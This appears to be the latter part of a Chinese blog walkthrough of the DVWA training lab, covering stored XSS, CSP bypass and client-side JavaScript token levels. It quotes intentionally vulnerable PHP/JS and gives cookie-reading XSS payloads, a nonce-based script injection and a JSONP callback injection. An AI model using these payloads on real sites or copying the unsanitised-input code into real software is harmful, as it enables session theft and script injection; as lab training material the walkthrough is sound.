$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

high难度与medium难度相比,在name变量的过滤规则上更加完善,杜绝了双写和大小写变换,那我们使用其他标签即可。

1
<img src=x onerror=alert(document.cookie)>

image-20210226153256482

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

impossible难度下name和message参数都做了严格的检查过滤,都把HTML标签转换为实体字符,同时还使用token防止CSRF攻击,而且还对更新数据库的语句使用了预编译,防止了SQL注入。

CSP Bypass 内容安全策略绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

从代码中可以看出白名单的网址,其中的 pastebin.com 是一个快速分享文本内容的网站,这个内容我们是可控的,可以在这里面插入 XSS 攻击语句:

1
alert(document.cookie)

image-20210226160000827

然后将网址URL复制到文本框中,点击include即可,这里浏览器阻止了js脚本的执行。

image-20210226162235354

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

这里使用了 nonce 阮一峰博客里面这么说明的 script-src还可以设置一些特殊值。

  • unsafe-inline:允许执行页面内嵌的<script>标签和事件监听函数
  • **unsafe-eval**:允许将字符串当作代码执行,比如使用evalsetTimeoutsetIntervalFunction等函数。
  • nonce:每次HTTP回应给出一个授权 token,页面内嵌脚本必须有这个 token,才会执行
  • hash:列出允许执行的脚本代码的 Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

image-20210226164137912

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

可以看到 CSP 规则这里十分苛刻,只能引用允许self 的脚本执行,self是指本页面加载的脚本。

首先审查元素拿到关键代码:

1
2
3
4
5
6
7
<form name="csp" method="POST">
<p>The page makes a call to ../..//vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>

id=”solve” 对应下面的 JS 代码:

1
2
3
4
5
6
7
var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

然后触发 clickButton() 函数:

1
2
3
4
5
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

这个函数会创建一个 script 标签,内容如下:

1
<script src="http://127.0.0.1:8888/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script>

这个时候浏览器就会发起如下请求:

1
http://127.0.0.1:8888/vulnerabilities/csp/source/jsonp.php?callback=solveSum

访问这个 jsonp.php 会得到如下请求:

1
solveSum({"answer":"15"})

然后就会调用 JS 的 solveSum 函数:

1
2
3
4
5
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

将结果输出到 网页当中,完整的流程是这样,比较繁琐和复杂。

这个时候如果将 callback 参数换成:

1
jsonp.php?callback=alert(document.cookie)

就会得到如下返回值:

image-20210226170032755

此时 JS 调用执行的话就会触发弹窗。

但是怎么去修改 callback 参数呢?幸运的是这一关留了一手:

1
2
3
$page[ 'body' ] .= "
" . $_POST['include'] . "
";

POST 提交的 include 参数直接放到了 body 源码中,这里我们可以自己改造 include 来进行弹窗:

1
include=<script src=source/jsonp.php?callback=alert(document.cookie)></script>

image-20210226170239874

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

impossible难度下后端php部分没有改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

js部分,访问了另一个URL "source/jsonp_impossible.php" ,这个URL没有参数可以输入,那么就不存在注入的地方。

JavaScript Attacks JS 攻击

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*MD5 code from herehttps://github.com/blueimp/JavaScript-MD5*/
/*这里省略一端MD5生成的代码*/
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>EOF;
?>

当我们输入success点击提交的时候显示token无效

image-20210226175445117

审查一下页面元素,在前端有一段生成token的语法,把id为phrase的input框里面的值拿出来生成token,由于我们网页加载时候input里面默认的初始值是ChangeMe,因此这时候生成的token是ChangeMe的值

image-20210226195746129

1
2
3
4
5
<form name="low_js" method="post">
<input type="hidden" name="token" value="8b479aefbd90795395b3e7089ae0dc09" id="token">
<label for="phrase">Phrase</label> <input type="text" name="phrase" value="ChangeMe" id="phrase">
<input type="submit" id="send" name="send" value="Submit">
</form>

当我们提交的时候,就是把ChangeMe生成的token值,和我们输入的phrase的值(success)上传到后端,后端再将success生成token和上传上来的token比较,一样的话就成功,否则就返回invalid token,由于我们上传的token值是ChangeMe生成的,自然与success生成的token值不同。

由于生成token的方法是在前端的js代码,因此我么可以直接在控制台调用generate_token(),生成新的token值,发现此时的token值已经改变。

image-20210226202033997

然后再提交即可。

image-20210226201854462

Medium

1
2
3
4
5
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/medium.js"></script>
EOF;
?>

这一次后端不再是直接往前端插入一整段完整的js代码,而是插入了js的链接

1
2
3
4
5
6
7
8
function do_something(e){
for(var t="",n=e.length-1;n>=0;n--)t+=e[n];
return t
}
setTimeout(function(){do_elsesomething("XX")},300);
function do_elsesomething(e){
document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}

**setTimeout()**: 用于在指定的毫秒数后调用函数或计算表达式。

这一段js代码的意思是把token值设置为'XX'+'phrase的值'+'XX'的倒序

同理,我们在input框输入success后在控制台调用do_elsesomething("XX");函数,发现此时token已经变成success生成的样子,然后再提交即可。

image-20210226203442375

High

1
2
3
4
5
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>

和medium难度一样从外部引入js代码,然后我们发现代码被混淆了,根本无法看懂,利用 http://deobfuscatejavascript.com 这个网站可以把回校的代码转换为能看懂一些的代码,其中关键的部分在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

这里的执行过程如下:

首先是将phrase的值清空,然后就执行token_part_1(“ABCD”, 44)**,此时会执行do_something(),把phrase的值倒叙赋给token,然后到延迟3秒调用的token_part_2(“XX”)函数,即生成'XX'+token的值的sha256值,再赋值给token,接着当我们提交的时候会触发 click 事件调用token_part_3**函数即生成token的值+'ZZ'的sha256值,再赋值给token。

知道token生成过程之后我们就可以自己进行调用生成success的token了,我们在输入框输入success后,到控制台中输入 token_part_1() ,再输入 token_part_2("XX") ,再提交即可。

Impossible

image-20210226210717955

不给任何输入的地方就是最好的防御,妙啊。。

参考资料

新手指南:DVWA-1.9全级别教程

DVWA 入门靶场学习记录

热爱网络安全的小菜狗

  • Post title:DVWA全攻略
  • Post author:John_Frod
  • Create time:2021-02-27 16:21:39
  • Post link:https://keep.xpoet.cn/2021/02/27/DVWA全攻略/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.